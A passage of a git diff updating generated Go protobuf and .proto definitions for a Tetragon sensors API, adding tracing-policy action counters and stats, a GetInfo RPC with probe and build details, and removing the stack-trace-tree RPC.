*ListTracingPoliciesRequest) ProtoReflect() protoreflect.Message { panic(`not implemented`) } +type TracingPolicyActionCounters struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // number of post events generated from the policy + Post uint64 `protobuf:"varint,1,opt,name=post,proto3" json:"post,omitempty"` + // number of signals sent from the policy + Signal uint64 `protobuf:"varint,2,opt,name=signal,proto3" json:"signal,omitempty"` + // number of signals that were not sent because the policy was in monitor mode + MonitorSignal uint64 `protobuf:"varint,3,opt,name=monitor_signal,json=monitorSignal,proto3" json:"monitor_signal,omitempty"` + // number of return overrides + Override uint64 `protobuf:"varint,4,opt,name=override,proto3" json:"override,omitempty"` + // number of return overrides that did not occur because the policy was in monitor mode + MonitorOverride uint64 `protobuf:"varint,5,opt,name=monitor_override,json=monitorOverride,proto3" json:"monitor_override,omitempty"` + // number of enforcer notifications triggered from the policy + NotifyEnforcer uint64 `protobuf:"varint,6,opt,name=notify_enforcer,json=notifyEnforcer,proto3" json:"notify_enforcer,omitempty"` + // number of enforcer notifications that did not occur because the policy was in monitor mode + MonitorNotifyEnforcer uint64 `protobuf:"varint,7,opt,name=monitor_notify_enforcer,json=monitorNotifyEnforcer,proto3" json:"monitor_notify_enforcer,omitempty"` + // number of set actions triggered from the policy + Set uint64 `protobuf:"varint,8,opt,name=set,proto3" json:"set,omitempty"` + // number of set actions that did not occur because the policy was in monitor mode + MonitorSet uint64 `protobuf:"varint,9,opt,name=monitor_set,json=monitorSet,proto3" json:"monitor_set,omitempty"` +} + +func (x *TracingPolicyActionCounters) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *TracingPolicyActionCounters) GetPost() uint64 { + if x != nil { + return x.Post + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetSignal() uint64 { + if x != nil { + return x.Signal + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorSignal() uint64 { + if x != nil { + return x.MonitorSignal + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetOverride() uint64 { + if x != nil { + return x.Override + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorOverride() uint64 { + if x != nil { + return x.MonitorOverride + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetNotifyEnforcer() uint64 { + if x != nil { + return x.NotifyEnforcer + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorNotifyEnforcer() uint64 { + if x != nil { + return x.MonitorNotifyEnforcer + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetSet() uint64 { + if x != nil { + return x.Set + } + return 0 +} + +func (x *TracingPolicyActionCounters) GetMonitorSet() uint64 { + if x != nil { + return x.MonitorSet + } + return 0 +} + +type TracingPolicyStats struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + ActionCounters *TracingPolicyActionCounters `protobuf:"bytes,1,opt,name=action_counters,json=actionCounters,proto3" json:"action_counters,omitempty"` +} + +func (x *TracingPolicyStats) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *TracingPolicyStats) GetActionCounters() *TracingPolicyActionCounters { + if x != nil { + return x.ActionCounters + } + return nil +} + type TracingPolicyStatus struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -269,6 +384,8 @@ type TracingPolicyStatus struct { KernelMemoryBytes uint64 `protobuf:"varint,10,opt,name=kernel_memory_bytes,json=kernelMemoryBytes,proto3" json:"kernel_memory_bytes,omitempty"` // current mode of the tracing policy Mode TracingPolicyMode `protobuf:"varint,11,opt,name=mode,proto3,enum=tetragon.TracingPolicyMode" json:"mode,omitempty"` + // stats of the tracing policy + Stats *TracingPolicyStats `protobuf:"bytes,12,opt,name=stats,proto3,oneof" json:"stats,omitempty"` } func (x *TracingPolicyStatus) ProtoReflect() protoreflect.Message { @@ -353,6 +470,13 @@ func (x *TracingPolicyStatus) GetMode() TracingPolicyMode { return TracingPolicyMode_TP_MODE_UNKNOWN } +func (x *TracingPolicyStatus) GetStats() *TracingPolicyStats { + if x != nil { + return x.Stats + } + return nil +} + type ListTracingPoliciesResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -652,73 +776,101 @@ func (x *DisableSensorResponse) ProtoReflect() protoreflect.Message { panic(`not implemented`) } -type GetStackTraceTreeRequest struct { +type GetVersionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` } -func (x *GetStackTraceTreeRequest) ProtoReflect() protoreflect.Message { +func (x *GetVersionRequest) ProtoReflect() protoreflect.Message { panic(`not implemented`) } -func (x *GetStackTraceTreeRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type GetStackTraceTreeResponse struct { +type GetVersionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Root *StackTraceNode `protobuf:"bytes,1,opt,name=root,proto3" json:"root,omitempty"` + Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` } -func (x *GetStackTraceTreeResponse) ProtoReflect() protoreflect.Message { +func (x *GetVersionResponse) ProtoReflect() protoreflect.Message { panic(`not implemented`) } -func (x *GetStackTraceTreeResponse) GetRoot() *StackTraceNode { +func (x *GetVersionResponse) GetVersion() string { if x != nil { - return x.Root + return x.Version } - return nil + return "" } -type GetVersionRequest struct { +type GetInfoRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *GetVersionRequest) ProtoReflect() protoreflect.Message { +func (x *GetInfoRequest) ProtoReflect() protoreflect.Message { panic(`not implemented`) } -type GetVersionResponse struct { +type GetInfoResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields + // version is the version of the agent tetragon (same as GetVersionResponse()) Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` + // name is the name of the agent + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + // probes is a list of kernel features that have been probed by the agent + Probes []*GetInfoResponse_Probe `protobuf:"bytes,3,rep,name=probes,proto3" json:"probes,omitempty"` + // conf is the agent configuration + Conf []*GetInfoResponse_ConfVal `protobuf:"bytes,4,rep,name=conf,proto3" json:"conf,omitempty"` + // build is the agent build information + Build *GetInfoResponse_BuildInfo `protobuf:"bytes,5,opt,name=build,proto3" json:"build,omitempty"` } -func (x *GetVersionResponse) ProtoReflect() protoreflect.Message { +func (x *GetInfoResponse) ProtoReflect() protoreflect.Message { panic(`not implemented`) } -func (x *GetVersionResponse) GetVersion() string { +func (x *GetInfoResponse) GetVersion() string { if x != nil { return x.Version } return "" } +func (x *GetInfoResponse) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *GetInfoResponse) GetProbes() []*GetInfoResponse_Probe { + if x != nil { + return x.Probes + } + return nil +} + +func (x *GetInfoResponse) GetConf() []*GetInfoResponse_ConfVal { + if x != nil { + return x.Conf + } + return nil +} + +func (x *GetInfoResponse) GetBuild() *GetInfoResponse_BuildInfo { + if x != nil { + return x.Build + } + return nil +} + type DumpProcessCacheReqArgs struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1017,3 +1169,100 @@ type SetDebugResponse_Level struct { } func (*SetDebugResponse_Level) isSetDebugResponse_Arg() {} + +type GetInfoResponse_Probe struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Enabled *wrapperspb.BoolValue `protobuf:"bytes,2,opt,name=Enabled,proto3" json:"Enabled,omitempty"` +} + +func (x *GetInfoResponse_Probe) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *GetInfoResponse_Probe) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *GetInfoResponse_Probe) GetEnabled() *wrapperspb.BoolValue { + if x != nil { + return x.Enabled + } + return nil +} + +type GetInfoResponse_ConfVal struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value *anypb.Any `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *GetInfoResponse_ConfVal) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *GetInfoResponse_ConfVal) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *GetInfoResponse_ConfVal) GetValue() *anypb.Any { + if x != nil { + return x.Value + } + return nil +} + +type GetInfoResponse_BuildInfo struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + GoVersion string `protobuf:"bytes,1,opt,name=go_version,json=goVersion,proto3" json:"go_version,omitempty"` + Commit string `protobuf:"bytes,2,opt,name=commit,proto3" json:"commit,omitempty"` + Time string `protobuf:"bytes,3,opt,name=time,proto3" json:"time,omitempty"` + Modified string `protobuf:"bytes,4,opt,name=modified,proto3" json:"modified,omitempty"` +} + +func (x *GetInfoResponse_BuildInfo) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *GetInfoResponse_BuildInfo) GetGoVersion() string { + if x != nil { + return x.GoVersion + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetCommit() string { + if x != nil { + return x.Commit + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetTime() string { + if x != nil { + return x.Time + } + return "" +} + +func (x *GetInfoResponse_BuildInfo) GetModified() string { + if x != nil { + return x.Modified + } + return "" +} diff --git a/event-processor/detector/api/tetragon/sensors.proto b/event-processor/detector/api/tetragon/sensors.proto index 8de65886..de442955 100644 --- a/event-processor/detector/api/tetragon/sensors.proto +++ b/event-processor/detector/api/tetragon/sensors.proto @@ -5,9 +5,9 @@ syntax = "proto3"; package tetragon; +import "google/protobuf/any.proto"; import "google/protobuf/wrappers.proto"; import "tetragon/events.proto"; -import "tetragon/stack.proto"; import "tetragon/tetragon.proto"; option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; @@ -53,6 +53,32 @@ enum TracingPolicyMode { TP_MODE_UNKNOWN = 0; TP_MODE_ENFORCE = 1; TP_MODE_MONITOR = 2; + TP_MODE_MONITOR_ONLY = 3; +} + +message TracingPolicyActionCounters { + // number of post events generated from the policy + uint64 post = 1; + // number of signals sent from the policy + uint64 signal = 2; + // number of signals that were not sent because the policy was in monitor mode + uint64 monitor_signal = 3; + // number of return overrides + uint64 override = 4; + // number of return overrides that did not occur because the policy was in monitor mode + uint64 monitor_override = 5; + // number of enforcer notifications triggered from the policy + uint64 notify_enforcer = 6; + // number of enforcer notifications that did not occur because the policy was in monitor mode + uint64 monitor_notify_enforcer = 7; + // number of set actions triggered from the policy + uint64 set = 8; + // number of set actions that did not occur because the policy was in monitor mode + uint64 monitor_set = 9; +} + +message TracingPolicyStats { + TracingPolicyActionCounters action_counters = 1; } message TracingPolicyStatus { @@ -78,6 +104,8 @@ message TracingPolicyStatus { uint64 kernel_memory_bytes = 10; // current mode of the tracing policy TracingPolicyMode mode = 11; + // stats of the tracing policy + optional TracingPolicyStats stats = 12; } message ListTracingPoliciesResponse { @@ -134,19 +162,45 @@ message DisableSensorRequest { message DisableSensorResponse {} -message GetStackTraceTreeRequest { - string name = 1; -} - -message GetStackTraceTreeResponse { - StackTraceNode root = 1; -} - message GetVersionRequest {} message GetVersionResponse { string version = 1; } +message GetInfoRequest {} +message GetInfoResponse { + // version is the version of the agent tetragon (same as GetVersionResponse()) + string version = 1; + // name is the name of the agent + string name = 2; + + message Probe { + string Name = 1; + google.protobuf.BoolValue Enabled = 2; + } + + // probes is a list of kernel features that have been probed by the agent + repeated Probe probes = 3; + + message ConfVal { + string key = 1; + google.protobuf.Any value = 2; + } + + // conf is the agent configuration + repeated ConfVal conf = 4; + + message BuildInfo { + string go_version = 1; + string commit = 2; + string time = 3; + string modified = 4; + } + + // build is the agent build information + BuildInfo build = 5; +} + // For now, we only want to support debug-related config flags to be configurable. enum ConfigFlag { CONFIG_FLAG_LOG_LEVEL = 0; @@ -215,7 +269,7 @@ message SetDebugResponse { } service FineGuidanceSensors { - // rpc GetEvents(GetEventsRequest) returns (stream GetEventsResponse) {} + rpc GetEvents(GetEventsRequest) returns (stream GetEventsResponse) {} rpc GetHealth(GetHealthStatusRequest) returns (GetHealthStatusResponse) {} rpc AddTracingPolicy(AddTracingPolicyRequest) returns (AddTracingPolicyResponse) {} @@ -251,9 +305,8 @@ service FineGuidanceSensors { option deprecated = true; } - rpc GetStackTraceTree(GetStackTraceTreeRequest) returns (GetStackTraceTreeResponse) {} - rpc GetVersion(GetVersionRequest) returns (GetVersionResponse) {} + rpc GetInfo(GetInfoRequest) returns (GetInfoResponse) {} rpc RuntimeHook(RuntimeHookRequest) returns (RuntimeHookResponse) {} diff --git a/event-processor/detector/api/tetragon/sensors_vtproto.pb.go b/event-processor/detector/api/tetragon/sensors_vtproto.pb.go index e4a30335..70a3d980 100644 --- a/event-processor/detector/api/tetragon/sensors_vtproto.pb.go +++ b/event-processor/detector/api/tetragon/sensors_vtproto.pb.go @@ -4,15 +4,16 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/sensors.proto package tetragon import ( fmt "fmt" - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" - proto "google.golang.org/protobuf/proto" + anypb "github.com/runtime-radar/go-plugin/types/known/anypb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" ) @@ -90,7 +91,7 @@ func (m *SensorStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Collection) > 0 { i -= len(m.Collection) copy(dAtA[i:], m.Collection) - i = encodeVarint(dAtA, i, uint64(len(m.Collection))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Collection))) i-- dAtA[i] = 0x1a } @@ -107,7 +108,7 @@ func (m *SensorStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -151,7 +152,7 @@ func (m *ListSensorsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -192,6 +193,127 @@ func (m *ListTracingPoliciesRequest) MarshalToSizedBufferVT(dAtA []byte) (int, e return len(dAtA) - i, nil } +func (m *TracingPolicyActionCounters) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TracingPolicyActionCounters) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TracingPolicyActionCounters) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.MonitorSet != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MonitorSet)) + i-- + dAtA[i] = 0x48 + } + if m.Set != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Set)) + i-- + dAtA[i] = 0x40 + } + if m.MonitorNotifyEnforcer != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MonitorNotifyEnforcer)) + i-- + dAtA[i] = 0x38 + } + if m.NotifyEnforcer != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.NotifyEnforcer)) + i-- + dAtA[i] = 0x30 + } + if m.MonitorOverride != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MonitorOverride)) + i-- + dAtA[i] = 0x28 + } + if m.Override != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Override)) + i-- + dAtA[i] = 0x20 + } + if m.MonitorSignal != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MonitorSignal)) + i-- + dAtA[i] = 0x18 + } + if m.Signal != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Signal)) + i-- + dAtA[i] = 0x10 + } + if m.Post != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Post)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TracingPolicyStats) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TracingPolicyStats) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TracingPolicyStats) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ActionCounters != nil { + size, err := m.ActionCounters.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *TracingPolicyStatus) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil @@ -222,30 +344,40 @@ func (m *TracingPolicyStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if m.Stats != nil { + size, err := m.Stats.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } if m.Mode != 0 { - i = encodeVarint(dAtA, i, uint64(m.Mode)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Mode)) i-- dAtA[i] = 0x58 } if m.KernelMemoryBytes != 0 { - i = encodeVarint(dAtA, i, uint64(m.KernelMemoryBytes)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.KernelMemoryBytes)) i-- dAtA[i] = 0x50 } if m.State != 0 { - i = encodeVarint(dAtA, i, uint64(m.State)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.State)) i-- dAtA[i] = 0x48 } if len(m.Error) > 0 { i -= len(m.Error) copy(dAtA[i:], m.Error) - i = encodeVarint(dAtA, i, uint64(len(m.Error))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Error))) i-- dAtA[i] = 0x42 } if m.FilterId != 0 { - i = encodeVarint(dAtA, i, uint64(m.FilterId)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.FilterId)) i-- dAtA[i] = 0x38 } @@ -263,7 +395,7 @@ func (m *TracingPolicyStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Sensors) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Sensors[iNdEx]) copy(dAtA[i:], m.Sensors[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Sensors[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Sensors[iNdEx]))) i-- dAtA[i] = 0x2a } @@ -271,26 +403,26 @@ func (m *TracingPolicyStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Info) > 0 { i -= len(m.Info) copy(dAtA[i:], m.Info) - i = encodeVarint(dAtA, i, uint64(len(m.Info))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Info))) i-- dAtA[i] = 0x22 } if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0x1a } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if m.Id != 0 { - i = encodeVarint(dAtA, i, uint64(m.Id)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Id)) i-- dAtA[i] = 0x8 } @@ -334,7 +466,7 @@ func (m *ListTracingPoliciesResponse) MarshalToSizedBufferVT(dAtA []byte) (int, return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -375,7 +507,7 @@ func (m *AddTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, erro if len(m.Yaml) > 0 { i -= len(m.Yaml) copy(dAtA[i:], m.Yaml) - i = encodeVarint(dAtA, i, uint64(len(m.Yaml))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Yaml))) i-- dAtA[i] = 0xa } @@ -448,14 +580,14 @@ func (m *DeleteTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, e if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0x12 } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -528,14 +660,14 @@ func (m *EnableTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, e if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0x12 } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -608,14 +740,14 @@ func (m *DisableTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0x12 } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -686,7 +818,7 @@ func (m *ConfigureTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int copy(dAtA[i:], m.unknownFields) } if m.Mode != nil { - i = encodeVarint(dAtA, i, uint64(*m.Mode)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(*m.Mode)) i-- dAtA[i] = 0x20 } @@ -703,14 +835,14 @@ func (m *ConfigureTracingPolicyRequest) MarshalToSizedBufferVT(dAtA []byte) (int if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0x12 } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -783,7 +915,7 @@ func (m *RemoveSensorRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -856,7 +988,7 @@ func (m *EnableSensorRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -929,7 +1061,7 @@ func (m *DisableSensorRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -969,7 +1101,7 @@ func (m *DisableSensorResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) return len(dAtA) - i, nil } -func (m *GetStackTraceTreeRequest) MarshalVT() (dAtA []byte, err error) { +func (m *GetVersionRequest) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -982,12 +1114,12 @@ func (m *GetStackTraceTreeRequest) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *GetStackTraceTreeRequest) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetVersionRequest) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *GetStackTraceTreeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetVersionRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -999,17 +1131,10 @@ func (m *GetStackTraceTreeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, err i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if len(m.Name) > 0 { - i -= len(m.Name) - copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) - i-- - dAtA[i] = 0xa - } return len(dAtA) - i, nil } -func (m *GetStackTraceTreeResponse) MarshalVT() (dAtA []byte, err error) { +func (m *GetVersionResponse) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1022,12 +1147,12 @@ func (m *GetStackTraceTreeResponse) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *GetStackTraceTreeResponse) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetVersionResponse) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *GetStackTraceTreeResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetVersionResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1039,20 +1164,17 @@ func (m *GetStackTraceTreeResponse) MarshalToSizedBufferVT(dAtA []byte) (int, er i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if m.Root != nil { - size, err := m.Root.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Version))) i-- dAtA[i] = 0xa } return len(dAtA) - i, nil } -func (m *GetVersionRequest) MarshalVT() (dAtA []byte, err error) { +func (m *GetInfoRequest) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1065,12 +1187,12 @@ func (m *GetVersionRequest) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *GetVersionRequest) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetInfoRequest) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *GetVersionRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetInfoRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1085,7 +1207,7 @@ func (m *GetVersionRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func (m *GetVersionResponse) MarshalVT() (dAtA []byte, err error) { +func (m *GetInfoResponse_Probe) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1098,12 +1220,12 @@ func (m *GetVersionResponse) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *GetVersionResponse) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_Probe) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *GetVersionResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_Probe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1115,17 +1237,27 @@ func (m *GetVersionResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= 